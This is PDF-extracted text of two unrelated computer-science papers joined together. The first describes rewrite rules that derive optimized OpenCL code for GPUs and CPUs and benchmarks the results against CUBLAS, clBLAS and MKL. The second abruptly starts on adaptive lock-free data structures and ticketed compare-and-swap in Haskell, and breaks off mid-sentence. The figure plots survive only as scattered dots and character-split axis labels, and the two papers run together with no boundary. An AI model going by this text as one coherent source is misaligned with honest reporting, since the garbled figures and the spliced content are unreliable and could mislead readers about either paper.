GPU

λx.(reduceSeq ◦ join ◦ join ◦ mapWorkgroup (

toGlobal
(
mapLocal (reduceSeq (λ(a, b). a+ (abs b)) 0)

)
◦ reorderStride 2048

) ◦ split 128 ◦ split 2048) x

(b) AMD
GPU

λx.(reduceSeq ◦ join ◦ joinVec ◦ join ◦ mapWorkgroup (

mapLocal (reduceSeq (mapVec (λ(a, b). a+ (abs b))) 0 ◦ reorderStride 2048

) ◦ split 128 ◦ splitVec 2 ◦ split 4096) x

(c) Intel
CPU

λx.(reduceSeq ◦ join ◦ mapWorkgroup (join ◦ joinVec ◦ mapLocal (

reduceSeq (mapVec (λ(a, b). a+ (abs b))) 0

) ◦ splitVec 4 ◦ split 32768) ◦ split 32768) x

Figure 11: Low-level expressions performing the sum of absolute values. These expressions are automatically derived by our system from
the high-level expression asum = reduce (+) 0 ◦ map abs .

●
●●●

●
●

●

●

●●●
●●

●

●

●

●

●●●
●●●

●

●

●

●

●●

●

●

●

●

●

●

●

●
●

●
●

●

●

●●

●

●

●

●●

●

●●

●

●●●●

●
●

●

●

●

●

●

●

●
●

●●

0 10 20 30 40 50 60 70

0
2

0
4

0
6

0
8

0
1

2
0

Number of evaluated expressions

A
b
s
o
lu

te
 p

e
rf

o
rm

a
n
c
e
 i
n
 G

B
/s

(a) Nvidia GPU

●

●

●●

●●●
●
●

●

●●
●

●

●●

●

●●

●●

●

●●●●●●
●

●●

●
●

●

●●●

●●●

●

●

●

●●●

●

●

●

●

●

●

●●

●

●

●

●

●

●●

●

●

●

●

●

●

●

●

●

●

●

●

●

●

●

●

●

●

●

●

0 20 40 60 80

0
5

0
1

0
0

1
5

0
2

0
0

Number of evaluated expressions

A
b
s
o
lu

te
 p

e
rf

o
rm

a
n
c
e
 i
n
 G

B
/s

(b) AMD GPU

●
●●●

●●

●

●

●●

●
●

●●

●●●

●

●●
●

●
●

●●●●●●

●●

●●●
●

●

●
●●●

●●●
●●

●●●

●

●●

●

●●
●

●●

●

●

●

●●

●●
●
●

●●●●

●
●

●●
●
●

●

●●●

●

●

●●●

●

●

●●●●●

●

●●

●

●

●

●

●
●

●

●

●●
●●

●

●

●

●●

●

●●

●

●

●
●

●●

●

●
●

●

●

●
●

●

0 20 40 60 80 100 120

0
5

1
0

1
5

Number of evaluated expressions

A
b
s
o
lu

te
 p

e
rf

o
rm

a
n
c
e
 i
n
 G

B
/s

(c) Intel CPU

Figure 12: Search efficiency. Each point shows the performance of the OpenCL code generated from a tested expression. The horizontal
partitioning visualized using vertical bars represents the number of fixed derivations in the search tree. The red line connects the fastest
expressions found so far.

versions make use of the local memory (although our systems
fully support it). It is common wisdom that using local memory
on the GPU enables high performance and indeed the highly tuned
hand-written implementation of asum does use local memory on
the GPU. However, as we will see later in the results section, our
automatically derived version is able to perform as well without
using local memory. The third key observation is that each thread
performs a large sequential reduce independent of all other threads,
which does not require thread synchronization, avoiding overheads.

While these observations are the same for all platforms, there
are also crucial differences between the different low-level expres-
sions. Both GPU versions make use of the reorderStride primitive,
allowing for coalesced memory accesses. The AMD and Intel ver-
sions are vectorized with a vector length of two and four respec-
tively. The Nvidia version does not use vectorization since this
platform does not benefit from vectorized code. On the CPU, the
automatic search picked numbers for partitioning into work groups
and then into work items in such a way that inside each work group
only a single work item is active. This corresponds to the fact that
there is less parallelism available on a CPU compared to GPUs.

6.3 Search Efficiency
We now present some evidence that our search strategy is effective.
Figure 12 shows how many expressions were evaluated during the
search to achieve the best performance on two GPUs and one CPU
for the asum application. The performance of the best expression

found is discussed in Section 9, here we focus on the search effi-
ciency. Each evaluated expression is represented as a point grouped
from left to right by the number of fixed derivations in the search
tree. The red line connects the fastest expression found so far.

The performance improves steadily for all three platforms be-
fore reaching a plateau. For both GPUs the best performance is
reached after testing ≈ 40 expressions. At this point we have fixed
five derivations and found a subtree offering good performance
for some expressions. Nevertheless, even in the later stages of the
search many expressions offer bad performance, which is partly
due to the sensitivity of the GPU to the particular numerical pa-
rameters. On the CPU performance converges quicker and more
expressions offer good performance. This shows that the CPU is
easier to optimize for an not as sensitive when selecting numerical
parameters.

Overall the search took less than an hour to complete on all plat-
forms, with an average execution time per expression of around 1/2
of a second, including OpenCL code generation, compilation, data
transfers, and execution. We believe an implementation optimized
for fast code generation could significantly reduce the search time.

7. Benchmarks
We now discuss how applications can be represented as expressions
composed of our high-level algorithmic primitives using a set of
easy to understand benchmarks from the fields of linear algebra,
mathematical finance, and physics.

213



7.1 Linear Algebra Kernels
We choose linear algebra kernels as our first set of benchmarks,
because they are well known, easy to understand, and used as
building blocks in many other applications. Figure 13 shows how
we express vector scaling, sum of absolute values, dot product
of two vectors and matrix vector multiplication using our high-
level primitives. While three benchmarks perform computations on
vectors, matrix vector multiplication illustrates a computation using
a 2D data structures, where we exploit nested parallelism.

For scaling (scal ), the map primitive applies a function to each
element which multiplies it with a constant a. The sum of absolute
values (asum) and the dot product (dot) applications both produce
scalar results by performing a summation, which we express us-
ing the reduce primitive combined with addition. For dot product,
a pair-wise multiplication of the two input vectors is performed be-
fore reducing the result using addition.

The gemv benchmark performs matrix vector multiplication as
defined in BLAS: ~y = αA~x + β~y. To multiply matrix A with ~x,
we map the computation of the dot-product with the input vector ~x
over each row of the matrixA. Notice how we are reusing the high-
level expressions for dot-product and scaling as building blocks
for the more complex matrix-vector multiplication. Expressions
describing algorithmic concepts can be reused, without committing
to a particular low-level implementation. After optimisation, the
dot-product from gemv might be implemented in a completely
different way from a stand-alone dot-product.

7.2 Mathematical Finance Application
The BlackScholes application uses a Monte-Carlo method for op-
tion pricing and computes for each stock price a pair of call and put
options. Figure 13 shows the BlackScholes implementation, where
the function compCallPut computes the call and put option for a
single stock price. It is applied to all stock prices using the map
primitive. A detailed discussion of a similar financial benchmark
can be found in [2], which is also parallelized using map.

7.3 Physics Application
Another application we consider is the molecular dynamics (md)
application from the SHOC benchmark suite [15]. It calculates the
sum of all forces acting on a particle from its neighbors. Figure 13
shows the implementation using our high-level primitives.

The function updateF updates the force f of particle p by
computing and adding the force between a single particle and one
of its neighbors, based on the neighbor’s index nId and the vector
storing all particles p. It only updates the force if the computed
distance between the two particles is below a given threshold t.

For computing the force for all particles ps , we use the zip
primitive to build a vector of pairs, where each pair combines a
single particle with the indices of all of its neighboring particles.
Computing the resulting force exerted by all the neighbors on
one particle is done by applying reduce on vector ns storing the
neighboring indices and using updateF as the reduce operation.

7.4 Limitations
In our experimental evaluation, we have chosen to mainly focus
on linear algebra kernels; these kernels have been studied in depth
and have specialized high-performance libraries implementations
on many devices. While our approach is currently limited by the
small number of high-level primitives we support, it can be easily
extended to support more complex applications found in bench-
mark suites such as Rodinia [10] or SHOC [15]. However, the two
larger applications already demonstrate the applicability of our ap-
proach beyond linear algebra kernels. In the future, we intend to
extend our set of primitives to support additional patterns found in
more complex benchmarks such as stencil applications.

scal = λa. map (∗a)

asum = reduce (+) 0 ◦ map abs

dot = λxs ys. (reduce (+) 0 ◦ map (∗)) (zip xs ys)

gemv = λmat xs ys αβ. map (+)
(

zip (map (scal α ◦ dot xs) mat) (scal β ys)
)

blackScholes = map compCallPut

md = λps nbhs t. map
(
λ(p,ns).

reduce (λf nId. updateF f nId p ps t) 0 ns
)

(zip ps nbhs)

Figure 13: Our benchmarks expressed using our high-level algo-
rithmic primitives. The operators (+) and (∗) operate on a single
pair instead of two scalar values.

8. Experimental Setup
8.1 Implementation Details
Our system is implemented in C++11 using the LLVM/Clang com-
piler infrastructure and making heavy use of C++ templates. Our
primitives are expressed as C++ functions and expressions as com-
positions of those. When generating code two basic steps are per-
formed: First, the Clang compiler library parses the input expres-
sion and produces an abstract syntax tree for it. Second, we traverse
the tree and emit code for every function call representing one of
our low-level hardware primitives.

As part of the first step, we have developed our own type sys-
tem which plays a dual role. First, it prevents the user producing
incorrect expressions. Secondly, the type system encodes informa-
tion for code generation, such as the array size information used to
allocate memory.

The design of our code generator is straightforward since no
optimization decisions are made at this stage. We avoid perform-
ing complex code analysis which makes our design very different
compared to traditional optimizing compilers.

8.2 Hardware Platforms and Evaluation Methodology
The experiments were performed on three different hardware plat-
forms: an Nvidia GeForce GTX 480 GPU, an AMD Radeon HD
7970 GPU and a dual socket Intel Xeon E5530 server, with 8 cores
in total. The OpenCL runtimes from Nvidia (CUDA-SDK 5.5),
AMD (AMD-APP 2.8.1), and Intel (XE 2013 R3) were used. The
GPU drivers installed were 310.44 for Nvidia and 13.1 for AMD.

The profiling APIs from OpenCL and CUDA were used to
measure kernel execution time and the gettimeofday function for
the CPU implementation. Following the Nvidia benchmarking
methodology [23], the data transfer time to and from the GPU
is excluded from the results. Each experiment was repeated 1000
times and we report median runtimes.

The experiments were performed with multiple input sizes. For
scal, asum and dot, the small input size corresponds to a vector size
of 16M elements (64MB). The large input size uses 128M elements
(512MB, the maximum OpenCL buffer size for our platforms).
For gemv, an input matrix of 4096×4096 elements (64MB) and
a vector size of 4096 elements (16KB) were used for the small
input size. For the large input size, the matrix size was 8192×16384
elements (512MB) and the vector size 8192 elements (32KB). For
BlackScholes, the problem size is fixed to 4 million elements and
for MD it is 12288 particles.
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Figure 15: Performance comparison with state of the art platform-specific libraries; CUBLAS for Nvidia, clBLAS for AMD, MKL for Intel.
Our approach matches the performance on all three platforms and outperforms clBLAS in some cases.
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Figure 14: Performance of our approach relative to a portable
OpenCL reference implementation (clBLAS).

9. Results
We now evaluate our approach compared to a reference OpenCL
implementations of our benchmarks on all platforms. Furthermore,
we compare the BLAS routines against platform-specific highly
tuned implementations.

9.1 Comparison vs. Portable Implementation
First, we show how our approach performs across three platforms.
We use the clBLAS OpenCL implementations written by AMD
as our baseline for this evaluation since it is inherently portable
across all different platforms. Figure 14 shows the performance of
our approach relative to clBLAS. We achieve better performance
than clBLAS on most platforms and benchmarks. The speedups
are highest for the CPU, with up to 20× for the asum benchmark
with a small input size. The reason is that clBLAS was written and
tuned specifically for an AMD GPU which usually exhibits a larger
number of parallel processing units. As we saw in Section 6, our
systematically derived expression for this benchmark is specifically
tuned for the CPU by avoiding creating too much parallelism,
which is what yields such a large speedup.

Figure 14 also shows the results we obtain relative to the Nvidia
SDK, BlackScholes, and SHOC molecular dynamics MD bench-
mark. For BlackScholes, we see that our approach is on a par with
the performance of the Nvidia implementation on both GPUs. On
the CPU, we actually achieve a 2.2× speedup due to the fact that
the Nvidia implementation is tuned for GPUs while our implemen-
tation generates different code for the CPU. For MD, we are on par
with the OpenCL implementation on all platforms.

9.2 Comparison vs. Highly-tuned Implementations
We compare our approach with a state of the art implementation
for each platform. For Nvidia, we pick the highly tuned CUBLAS
implementation of BLAS written by Nvidia. For the AMD GPU,
we use the same clBLAS implementation as before given that it
has been written and tuned specifically for AMD GPUs. Finally, for
the CPU we use the Math Kernel Library (MKL) implementation
of BLAS written by Intel, which is known for its high performance.

Similar to the high performance libraries our approach results
in device-specific OpenCL code with implementation parameters
tuned for specific data sizes. In contrast, existing library approaches
are based on device-specific manually optimized implementations
whereas our approach systematically and automatically generates
these specialized versions.

Figure 15a shows that we actually match the performance of
CUBLAS for scal, asum and dot on the Nvidia GPU. For gemv we
outperform CUBLAS on the small size by 20% while we are within
5% for the large input size. Given that CUBLAS is a proprietary
library highly tuned for Nvidia GPUs, these results show that our
technique is able to achieve high performance.

On the AMD GPU, we are surprisingly up to 4.5× faster than
the clBLAS implementation on gemv small input size as shown
in Figure 15b. The reason for this is found in the way clBLAS is
implemented; clBLAS performs automatic code generation using
fixed templates. In contrast to our approach, it only generates one
implementation since it does not explore different template compo-
sitions.

For the Intel CPU (Figure 15c), our approach beats MKL for one
benchmark and matches the performance of MKL on most of the
other three benchmarks. For the small input sizes for the scal and
dot benchmarks we are within 13% and 30% respectively. For the
larger input sizes, we are on a par with MKL for both benchmarks.
The asum implementation in the MKL does not use thread level
parallelism, whereas our implementation does; hence we achieve a
speedup of up to 1.78 on the larger input size.

9.3 Summary
We have demonstrated that our approach generates performance
portable code which is competitive with highly-tuned platform
specific implementations. Our systematic approach is generic and
generates optimized kernels for different devices and data sizes.
The results show that high performance is achievable for different
input sizes and for a range of benchmarks.
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10. Related Work
Algorithmic Patterns Algorithmic patterns (or algorithmic skele-
tons [11]) have been around for more than two decades. Early work
already covers algorithmic skeletons in the context of performance
portability [16]. Patterns are parts of popular frameworks such as
Map-Reduce [18] from Google. Current pattern-based libraries for
platforms ranging from cluster systems [37] to GPUs [41] have
been proposed with recent extensions to irregular algorithms [20].
Lee et al. [28] discuss how nested parallel patterns can be mapped
efficiently to GPUs. Compared to our approach, most prior work
relies on hardware-specific implementations to achieve high per-
formance. Conversely, we systematically generate implementations
using fine-grain OpenCL patterns combined with rewrite rules.

Algebra of Programming Bird and Meertens, amongst others,
developed formalisms for algebraic reasoning about functional pro-
grams in the 1980s [5]. Our rewrite rules are in the same spirit and
many of our rules are similar to equational rules presented by Bird,
Meertens, and others. Skillicorn [38] describes the application of
the algebraic approach for parallel computing. He argues that it
leads to architecture-independent parallel programming — which
we call performance portability in this paper. Our work can be seen
as an application of the algebraic approach to the generation of ef-
ficient code for contemporary parallel processors.

Functional Approaches for GPU Code Generation Accelerate
is a Haskell embedded domain specific language aimed at gener-
ating efficient GPU code [9, 30]. Obsidian [42] and Harlan [24]
are earlier projects with similar goals. Obsidian exposes more de-
tails of the underlying GPU hardware to the programmer. Harlan
is a declarative programming language compiled to GPU code.
Bergstrom and Reppy [4] compile NESL, which is a first-order di-
alect of ML supporting nested data-parallelism, to GPU code. Re-
cently, Nvidia introduced NOVA [12], a new functional language
targeted at code generation for GPUs, and Copperhead [7], a data
parallel language embedded in Python. HiDP [46] is a hierarchical
data parallel language which maps computations to OpenCL. All of
these projects rely on code analysis or hand-tuned versions of high-
level algorithmic patterns. In contrast, our approach uses rewrite
rules and low-level hardware patterns to produce high-performance
code in a portable way.

Halide [35] is a domain specific approach that targets image pro-
cessing pipelines. It separates the algorithmic description from op-
timization decisions. Our work is domain agnostic and takes a dif-
ferent approach. We systematically describe hardware paradigms
as functional patterns instead of encoding specific optimizations
which might not apply to future hardware generations.

Rewrite-rules for Optimizations Rewrite rules have long been
used as a way to automate the optimization process of functional
programs [26]. Recently, rewriting has been applied to HPC ap-
plications [32] as well, where the rewrite process is driven by user
annotations on imperative code. Spiral [34] uses rewrite rules to op-
timize signal processing programs and was more recently adapted
to linear algebra [39]. One difference is that our rules and OpenCL
hardware patterns are expressed at a finer-grained level, allowing
for highly specialized and optimized code generation.

Automatic Code Generation for GPUs A large body of work
has explored how to generate high performance code for GPUs.
Dataflow programming models such as StreamIt [43] and Liq-
uidMetal [19] have been used to produce GPU code. Directive
based approaches such as OpenMP to CUDA [29], OpenACC to
OpenCL [36], and hiCUDA [22] compile sequential C code for
the GPU. X10, a language for high performance computing, can
also be used to program GPUs [14]. However, this remains low-
level since the programmer has to express the same low-level op-

erations found in CUDA or OpenCL. Recently, researchers have
looked at generating efficient GPU code for loops using the poly-
hedral framework [44]. Delite [6, 8], a system that enables the cre-
ation of domain-specific languages, can also target multicore CPUs
or GPUs. Alas, none of these approaches currently provides full
performance portability, as they assume a fixed platform and the
optimizations and implementations are targeted at a specific device.

Finally, Petabricks [3] takes an alternative approach by letting
the programmer specify different implementations of an algorithm.
The compiler and runtime choose the most suitable implementation
based on an adaptive mechanism, and produces OpenCL code [33].
Compared to our work, this technique relies on static analysis to
optimize code. Our code generator does not perform any analysis
since optimization happens at a higher level within our rewrite
rules.

11. Conclusion
In this paper, we have presented a novel approach based on rewrite
rules to represent algorithmic principles as well as low-level
hardware-specific optimization. We have shown how these rules
can be systematically applied to transform a high-level expression
into high-performance device-specific implementations. We pre-
sented a formalism, which we use to prove the correctness of the
presented rewrite rules. Our approach results in a clear separation
of concerns between high-level algorithmic concepts and low-level
hardware optimizations which pave the way for fully automated
high performance code generation.

To demonstrate our approach in practice, we have developed
OpenCL-specific primitives and rules together with an OpenCL
code generator. The design of the code generator is straightforward
given that all optimization decisions are made with the rules and
no complex analysis is needed. We achieve performance on a par
with highly tuned platform-specific BLAS libraries on three differ-
ent processors. For some benchmarks such as matrix vector multi-
plication we even reach a speedup of up to 4.5. We also show that
our technique can be applied to more complex applications such as
BlackScholes and molecular dynamics simulation.
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Abstract
Purely functional data structures stored inside a mutable variable
provide an excellent concurrent data structure—obviously correct,
cheap to create, and supporting snapshots. They are not, however,
scalable. We provide a way to retain the benefits of these pure-in-
a-box data structures while dynamically converting to a more scal-
able lock-free data structure under contention. Our solution scales
to any pair of pure and lock-free container types with key/value set
semantics, while retaining lock-freedom. We demonstrate the prin-
ciple in action on two very different platforms: first in the Glasgow
Haskell Compiler and second in Java. To this end we extend GHC
to support lock-free data structures and introduce a new approach
for safe CAS in a lazy language.

Categories and Subject Descriptors D.3.2 [Programming Lan-
guages]: Language Classifications - Concurrent, Distributed, and
Parallel Languages

General Terms Languages, Performance

Keywords Lock-free algorithms, Concurrent data structures

1. Introduction
Purely functional, or persistent, data structures have been wildly
successful. High-quality libraries of immutable collection types are
now broadly available in both functional and imperative languages,
and these play an important role in the Scala, Clojure, OCaml, F#,
and Haskell ecosystems, among others. One non-obvious benefit
of these immutable datatypes is that they also provide the easiest
way to build concurrency-safe, mutable datatypes. For example, it
is difficult to engineer a threadsafe mutable set datatype, but it is
easy to take an immutable set and place it in a mutable container—
e.g., an (IORef Set) in Haskell.

This “pure data in a box” idiom is extremely common in sys-
tems software and servers written using Haskell. Because there is
only a single mutable memory location, achieving atomic updates
to the structure is straightforward. In Haskell this is done with the
atomicModifyIORef primitive. The problem with this approach is
that it does not scale well under contention, as threads must all
modify the same memory location. Compounding this are addi-
tional problems with implicit locking in the runtime system related
to lazy evaluation. In this paper, we show how to solve both the se-
mantic problems (Section 3) and practical problems with laziness
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(Section 2), but this still leaves non-scalability as a fundamental
problem with using only pure data in a box.

Therefore it remains important to engineer scalable concurrent
data structures, even for functional languages. Fortunately, there is
a wealth of literature to refer to in this area—on both fine-grained
locking [8], as well as lock-free and wait-free structures [19]. Next,
once we achieve a scalable mutable container, such as a set or
map, we would ideally put it to work in all cases where we need
a concurrent set or map. Unfortunately, there are drawbacks as
well as advantages to these structures. They can be heavyweight.
Papers which introduce new lock-free structures (e.g. [9, 18]),
almost always evaluate them by subjecting a single instance of the
data structure to stress testing. In the process, the data structure
is sometimes evaluated under various levels of contention (the
“concurrency range” [9]), but typically not in terms of:

• memory overhead relative to simple non-concurrent struc-
tures. This is especially relevant for many small collections.

• allocation/initialization overhead, which can increase due to
additional state that needs to be allocated and initialized.

Our experience in Haskell is that overheads in both these cat-
egories are significant. Thus, rather than using scalable structures
everywhere, the programmer makes a trade-off based on whether
a particular collection is expected to have contended accesses.
Should it be a lightweight but non-scalable pure-in-a-box data
structure? Or a clunkier but scalable one? Often there is no stati-
cally knowable answer. Consider a mutable map where the values
are themselves mutable sets:

table :: IORef (Map Key (IORef IntSet ))

Some keys may be “hot”, experiencing frequent modification,
while others are cold. It might be clear that the outer Map should be
replaced with a concurrent tree-based map or hashtable, but there
is no right answer for what IntSet implementation to use. In this
paper, we propose a simple solution: purely functional structures
that transform into scalable ones under contention.

This transitioning allows the choice of a concrete implementa-
tion to be made at runtime, choosing a representation that performs
well under the application’s actual workload. A second goal is the
“do no harm” principle—the hybrid data structure must remain as
performant as a pure data structure in the uncontended case. Our
aim is to eliminate the burden of choosing between pure and scal-
able structures, simplifying the programmer’s job.

While the mechanism of swapping data structures at runtime is
used in many contexts [2, 3, 23], it does not generally work well in
concurrent settings. Nevertheless, our particular technique has an
advantage: using purely functional data as a starting point enables
retaining lock-freedom—before, during and after representation
swapping. Conversely, if the starting structure were itself a scalable,
mutable structure, then performing the transition would lose lock-
freedom (due to an inability to snapshot the structure in an O(1)
step). Indeed, perhaps the historically esoteric role of persistent
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data structures may be what led to this simple solution for lock-
free, dynamic scalability being overlooked.

Our contributions in this paper are:

• We present an algorithm for swapping representations at run-
time that leverages immutability in the starting state to achieve
advantages over previous approaches to data structure adapta-
tion [3, 23]. The algorithm assumes a map-like interface and
semantics, but the synchronization strategy can also be adapted
to bag-like interfaces (Section 4).

• We examine contention problems with pure-in-a-box datatypes
in a mature functional compiler, GHC. Contention problems are
compounded by mechanisms introduced for lazy evaluation, in
particular the black-hole policy. We demonstrate how to avoid
both explicit locking and black-holes—which defeat lock-free
progress guarantees.

• We describe our ticketed CAS (compare and swap) approach to
adding atomic operations to GHC, and demonstrate how it pre-
serves the expected semantics of CAS in spite of being hosted
in a non-strict language without meaningful pointer equality.

• We evaluate adaptive bags and maps compared to their non-
adaptive counterparts, using both GHC Haskell and the Oracle
Java VM as experimental platforms. We show that adaptive data
outperforms either pure or scalable containers overall in the
nested collection case with mixed hot and cold inner containers.

2. Prerequisite 1: Lock-Free Concurrent Haskell
As the central contribution of this paper involves lock-freedom for
data structure operations, we must define lock-freedom in Haskell.
Concurrent Haskell was defined in 1996 in two levels: a (deter-
ministic) reduction of the purely functional language into an “infi-
nite tree” of primitive IO actions [17], and a separate semantics for
evaluating the action tree. These actions include forking threads
and reading and writing dataflow variables, but the full Glasgow
Haskell compiler also includes many other primitive IO actions
such as system calls.

For a system of IO threads running in a Haskell runtime system,
we can define lock-freedom as:

Definition 2.1. For any execution schedule of IO threads, π, there
exists a bound k, such that for all points in the execution, some
thread makes progress within the k steps.

We consider only mutator time, not garbage collection. Here,
progress is defined as an IO thread completing any primitive, built-
in IO action. The primitive IO actions include blocking reads and
writes to MVars, which enable deadlock but not livelock. In gen-
eral, most uses of MVars clearly violate lock-freedom (with some
threads not making progress until other threads are scheduled). The
more subtle problem comes from the interaction with lazy evalua-
tion itself.

The problem with black holes Unlike later formulations of the
Spineless Tagless G-Machine for Haskell (STG machine [13]),
the original Concurrent Haskell semantics did not model thunk
evaluation or sharing of thunks between threads. In fact, this is a
critical issue, and a later paper in ICFP’09 [15] addressed thunk
sharing and offered various policies for replacing a thunk at runtime
with a black hole—a black hole locks a thunk on behalf of its owner
and blocks other threads from attempting to compute that thunk.

Regardless of specific policy—eager black holing, or lazy black
holing performed by the runtime between scheduling threads—
black holes directly defeat the lock-freedom property. Just as
with a regular lock, if the thread owning the black hole is not
scheduled, then other threads may potentially not be able to make

progress. Thus any Haskell program that makes a thunk accessible
to other threads—e.g., by placing it in an IORef—violates lock-
freedom (2.1). Indeed, we find that unexpected black-holing is a
major problem when we tune parallel Haskell applications.

Unfortunately, the only way to perform an atomic opera-
tion on a mutable variable (IORef) in Haskell has been to use
atomicModifyIORef, which is a black-hole risk. By its nature it
must publish a thunk to other threads on every call, defeating lock-
freedom. The reason for this can be seen in its type signature:

atomicModifyIORef
:: IORef a → (a → (a, b)) → IO b

This provides not just a limited compare-and-swap (CAS) style
operation, rather, it performs an arbitrary function atomically. Nei-
ther does it permit speculation: the function will only run once.
Of course, there is no free lunch, and atomicModifyIORef actually
only guarantees atomicity by placing a thunk in the IORef. (In fact,
GHC’s implementation contains a rather clever optimization where
the retry loop upon failed CAS attempts does not allocate a new
thunk, rather it allocates one suspended function application and
then mutates it with new arguments until CAS succeeds.)

GHC also provides a strict variant, atomicModifyIORef'. But
this variant simply forces the thunk after publishing it. Thus it
cannot prevent threads touching the same thunk. To achieve lock-
freedom, we need a new primitive—we need to expose CAS to
Haskell code, directly and safely. That is our next, and final, pre-
requisite before describing our proposed algorithm in Section 4.

3. Prerequisite 2: Atomic Memory Operations in
a Lazy Language

Lock-free algorithms and data structures have been slow to make
their way to functional language implementations. In part, this may
simply be because compilers—GHC, SML/NJ, OCaml, Racket,
etc—need to support all the requisite atomic machine instructions.
In Haskell’s case there has been a deeper reason as well: unlike
many of its strict counterparts, Haskell has no defined notion of
pointer equality1. This is a boon to the optimizer, which is free to
unbox and rebox a pure value, changing its physical identity but
preserving its value—enabling, for example, the worker/wrapper
optimization [7], which is often able to unbox values inside loops.
But something is lost as well; after all, pointer equality is the only
equality supported by the computer architecture’s CAS instruction!

To see the problem, consider a direct attempt to implement
a (casIORef ref old new) operation in Haskell, which returns a
result indicating whether the operation succeeded:

casIORef :: IORef a → a → a → IO (Bool , a)

This, unfortunately, is the version of CAS that was exposed in
GHC 7.2 and 7.42, though, as we will see, it is not safe to use.
Consider this simple use of casIORef:

do old ← readIORef r
let new = old + 3
casIORef r old new

We expect the first and last uses of old to represent the same
pointer. But, in fact, there is no way for the programmer to ensure
this. For example, if old is of type Int, then GHC is free to unbox
to the internal Int# type, and then rebox upon the call to casIORef.

1 Hence the aptly named internal operation reallyUnsafePtrEquality#.
2 Actually, the internal compiler primitive is called casMutVar# and has a
lower level type operating on a MutVar# and passing State# tokens, but
these are GHC-internal details.
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Our approach to this problem is to introduce a technique we
call ticketed CAS. In this approach, the old argument is replaced
by an opaque value of type Ticket a. This ticket represents a
record of a previous observation, and it is presented in future
attempts to modify the value. A ticket is used in a manner akin
to a logical version number for the mutable location—but tickets
lack an ordering, and may repeat. There is no way to manufacture
tickets from thin air; thus using the ticketed approach also requires
a way to read them—not the value of a mutable variable, but a ticket
representing its current state:

do t ← readForCAS r
let new = peekTicket t + 3
casIORef r t new

Here it is perfectly fine to extract from a Ticket t a value of type
t, using peekTicket

3. Peeking a ticket can happen outside of the
IO monad and it does not violate referential transparency—while
values do not have stable pointers, pointers have stable values.

Though not used above, the return value of casIORef returns a
ticket as well, giving it the type:

casIORef :: IORef a → Ticket a → a
→ IO (Bool , Ticket a)

Atypically, this CAS returns a ticket corresponding to the newest
value observed in the reference (counter to the usual convention of
returning the old value). The Bool indicates success or failure, and
in the case of failure, the ticket is needed for a retry, but in the case
of success, the ticket may also be needed for the next operation on
the IORef.

Implementing tickets In version GHC 7.6, we added additional
atomic operations—for example exposing CAS for array elements
as well as IORefs—and we switched to using a ticketed interface.
Fortunately, the GHC compiler already had a notion of an Any

type constructor, representing a value that the compiler knows is a
pointer, but pointing to to a data constructor or function of unknown
type. This serves to prevent any and all compiler optimizations that
change the representation, while enabling the garbage collector to
update the pointer during GC. Thus we use Any to represent tickets.

With ticketed CAS (and its friends such as fetch-and-add) we
have the basic building blocks for implementing lock-free data
structures and algorithms. In fact, even for operations as simple as
updating a boxed Int counter, Haskell-level atomic operations offer
a substantial benefit. For example, we can use CAS to implement
a speculative alternative to atomicModifyIORef, which computes
the updated result before modifying the reference. This avoids the
problem of publishing a thunk to other threads (black holes), but in
exchange it may waste work by computing a result that is not used.

In fact, because this speculative approach greatly improves the
performance of atomically modifying pure-in-a-box data structures
under high contention, it becomes our new baseline against which
truly scalable structures must be measured, rather than the previ-
ous, atomicModifyIORef' baseline.

4. Adaptation Algorithm
In this section we present our algorithm for lifting a pair of data
structures—pure and lock-free respectively—into a hybrid struc-
ture that retains lock-freedom. In Figures 2-3 we present the algo-

3 Incidentally, peekTicket must be marked NOINLINE, but this is a GHC-
specific issue rather than something more fundamental. peekTicket be-
comes a type cast rather than a function call in the intermediate represen-
tation, and as such it is not sufficient to prevent the compiler of learning
the representation of t enabling mischief. See atomic-primops package,
issue #5.

1 −−A Map-like datatype indexed by key and value:
2 type Hybrid k v = Ref (HyState k v)
3 −− S1 is a pure data structure, S2 is mutable:
4 data HyState k v = A (S1 k v)
5 | AB (S1 k v) (S2 k v)
6 | B (S2 k v)
7
8 new :: IO (Hybrid k v)
9 new = newRef (A emptyS1)

Figure 1. Definition of the hybrid data structure. The structure is
initialized in the A state, containing a pure value of type S1.

10 initiateTransition :: Hybrid k v → IO ()
11 initiateTransition r =
12 −−Must allocate before we try to modify:
13 do emptS2 ← newS2 −−Could be wasted!
14 case! atomicModify r (fn emptS2) of
15 Just s1 → fork (copyThread r s1 a
16 emptS2)
17 Nothing → return ()
18 where
19 fn emptS2 x =
20 case x of
21 A s1 → (AB s1 emptS2 , Just s1)
22 −−Otherwise, someone beat us to it:
23 B s2 → (B s2, Nothing)
24 AB s1 s2 → (AB s1 s2 , Nothing)
25
26 −− The copy thread always uses putIfAbsentS2 so
27 −− as not to overwrite logically newer changes.
28 copyThread :: Hybrid k v → S1 k v
29 → S2 k v → IO ()
30 copyThread r s1 s2 =
31 do forM_ s1 (λ k v →
32 putIfAbsentS2 k v s2)
33 −−Finalize transition:
34 atomicModify r
35 (λx → case x of
36 A _ → error "impossible"
37 AB _ s2 → (B s2, ())
38 B s2 → (B s2, ()))

Figure 2. The algorithm for transitioning, including asyn-
chronously copying from the A structure to the B structure. Note
that copying can itself be parallelized, if desired. Also, while this
implementation of initiateTransition does not return until suc-
cess, the overall algorithm remains correct if transition gives up
after an effort count.

rithm using the specific case of a Map interface. That is, we assume
correct put, get, remove, and putIfAbsent both for the starting data
structure (S1) and the target (S2). The difference between opera-
tions on S1 and S2 is that the former are pure and the latter are in
the IO monad. You can see this difference on lines 43 and 44 of Fig-
ure 3. Moreover, we assume that S2’s operations are both lock-free
and linearizable.

Note that while we have used Maps in our code samples here,
the algorithm generalizes easily to:

• Sets – by simply omitting values in the put and get calls, or
using () for the value.

• Bags – by also changing the semantics of the underlying
putS1/putS2 to allow duplicates, with the simplest case being a
unit key type for a single bag.
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The basic idea of the algorithm is to provide a wrapper data
structure that is a sum type, HyState, combining the pure S1, the
scalable S2, or both. A complete Hybrid is a mutable pointer to
HyState that initially contains a value of type S1. In this state, it
simply forwards all operations to the underlying S1 implementa-
tion, applying the changes through an atomicModify at the top-level
mutable reference (which uses the speculative approach described
in the previous section to avoid thunks). Upon detecting contention
on the mutable reference, a transition is initiated, creating a new
structure of type S2 and copying all data into it. Once the transi-
tion is complete, all operations are forwarded to the new, scalable
implementation.

The definition of the Hybrid type is given in Figure 1. Its three
states are named: A, representing the original pure structure; B,
representing the post-transition scalable structure; or AB, indicating
that a transition is in progress. We initialize the structure in the A

state with an empty value of type S1.
The definition and use of the transition function (Figure 2) en-

sures two useful properties of all Hybrid objects: (1) that transitions
